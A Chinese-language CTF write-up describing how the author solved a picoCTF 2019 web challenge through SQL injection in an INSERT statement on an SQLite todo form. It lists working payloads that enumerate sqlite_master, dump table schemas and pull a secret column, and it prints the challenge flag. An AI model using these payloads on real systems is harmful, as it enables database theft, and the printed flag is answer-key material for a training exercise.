400分之後的題目越來越難,對新手十分吃力,
開始卡關了...
Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/45012/ (link) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:45012
嘿,探員513,現在你已經混入邪惡帝國公司了,試著找出這家公司網站的秘密吧。你能找出他們分配給你的密碼嗎? 網站位址在 https://2019shell1.picoctf.com/problem/45012/ (link) 或是 http://2019shell1.picoctf.com:45012。
Pay attention to the feedback you get
There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.
The database gets reverted every 2 hours if you do break it, just come back later
接下來的題目都不是很容易一步解決,可以三不五時回頭看看官網提供的網頁漏洞的教學,甚至是可學得技能一覽表 來查看是否有任何提示? 例如這一題所使用到的就是 Blind SQL injectin 的技巧。
一開始看到網站提供了登入功能,先試著輸入以前的 injectin (如 admin' --, 'OR 1=1 --等) ,結果不管是登入還是註冊功能都已經無法成功注入 SQL 。
接著查看有沒有其他可疑的網頁內容。Employee Listing 提供註冊的所有員工
但沒有可輸入的地方
Add a Todo 和 Your Todos 則是讓使用者可輸入待做項目以及顯示。因此這裡大概就可以推測出來 flag 藏在 todo 當中,只是正常情況下你只能看到自己輸入的 todo。
先試著輸入幾個不正常的 SQL
可以看到雖然有過濾幾個特殊符號(*, -- 等),但仍然可以成功些許的 SQL code,這就是希望,看到突破口!
接下方的方向就是
第一步通常也是最花時間的步驟,首先必須了解資料庫的新增語法,這裡建議找到線上 SQL 語法來練習並測試。
一般新增的語法使用 INSERT
-- select * from Customers order by CustomerID desc
INSERT INTO Customers VALUES(123,'customer','contact','address','city','code','country');
先來看看是否可以在語法中再使用 SQL
INSERT INTO Customers VALUES(124,'customer','contact','address','city','code', (Select Country from Customers WHERE CustomerID=1) )
成功將 contry 的值以 CustomerID 的值 (Germany) 代入
接下來就是要查詢有哪個適合的注入語法來搭配,google “sql injection insert into payload” 找到幾種樣式,試出其中一種為 ‘ OR (payload) OR ‘。串入上述語法後:
' OR (Select Country from Customers WHERE CustomerID=1) OR '
現在發現了一個新問題,雖然可以執行,但是結果卻是 0 。這個問題出在這幾個文字沒有正確的串起來,再試著以下串法還是不行
' 1'+ ('sql') + '2 ' >> 3
' a'+ ('sql') + 'b ' >> 0
只好再 google “sql insert into value concatenate string” 後發現可用|| 符號取代 OR. 成功串起 SQL!
'|| (Select Country from Customers WHERE CustomerID=1) ||'
解決了可注入性的評估後,才要開始正式解決問題: Step 2 找出 todo 儲存的地方
要找出儲存位置,還有一個基本的架構要了解,資料庫是使用哪一套?
經由這幾個資料庫的獨特語法測試後
SUBSTR('foobar', 4, 2) >>oracle
原本以為是oracle ,但是測試其他 oracle 語法也不行 。
再查看其他判別資料庫的語法後,發現查詢資料庫版本的地方還有另外一種資料庫的存在:SQLite
select sqlite_version() >> 3.2.0
Bingo! 還真的是 SQLite!接下來就是一步步找出儲存的地方: table 與欄位
有了所使用的資料庫,google sqlite injection 直接針對 SQLite injection,選擇可能的 database 出來
' || ( SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0 ) || '
user
' || ( SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 ) || '
todo
第二次就選出來 todo table,這應該就是標的了...吧?
下一步再找出 todo table 的所有欄位
' || ( SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ="todo" ) || '
Very Urgent: CREATE TABLE todo ( id INTEGER NOT NULL, item VARCHAR(256), user_id INTEGER, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) )
再逐次對可能是答案的的 item 欄位輸出每一筆資料
'|| ( SELECT item FROM todo LIMIT 1 OFFSET 0 ) || '
找到光居然沒有...
回頭改找 user table,列出 user 的所有欄位
' || ( SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ="user" ) || '
發現一個 secrect 欄位!
Very Urgent: CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) )
同樣對欄位 secrect 輸出資料,不過這次直接使用 LIKE 語法比對符合的樣式: picoCTF{xxx}
'|| ( SELECT secret FROM user WHERE secret LIKE '%pico%' ) || '
Very Urgent: picoCTF{wh00t_it_a_sql_injecta60643ae}
至此終於成功!
中間嘗試的過程卡了很多愚蠢的地方,比如記得 Limit 1 限制一筆的資料輸出,卻忘記還要指定欄位才會傳回文字。否則的話,返回的結果是一行(row)的資料。例如:
' || ( SELECT * FROM todo ) || ‘
會顯示該筆所有欄位的資料,但由於傳回的是資料行(row),會造網頁服務器顯示 500 錯誤。
還有某一次開網頁時居然出現 bug,會以別人的帳號登入,大概是哪個高手造成的?
picoCTF{wh00t_it_a_sql_injecta60643ae}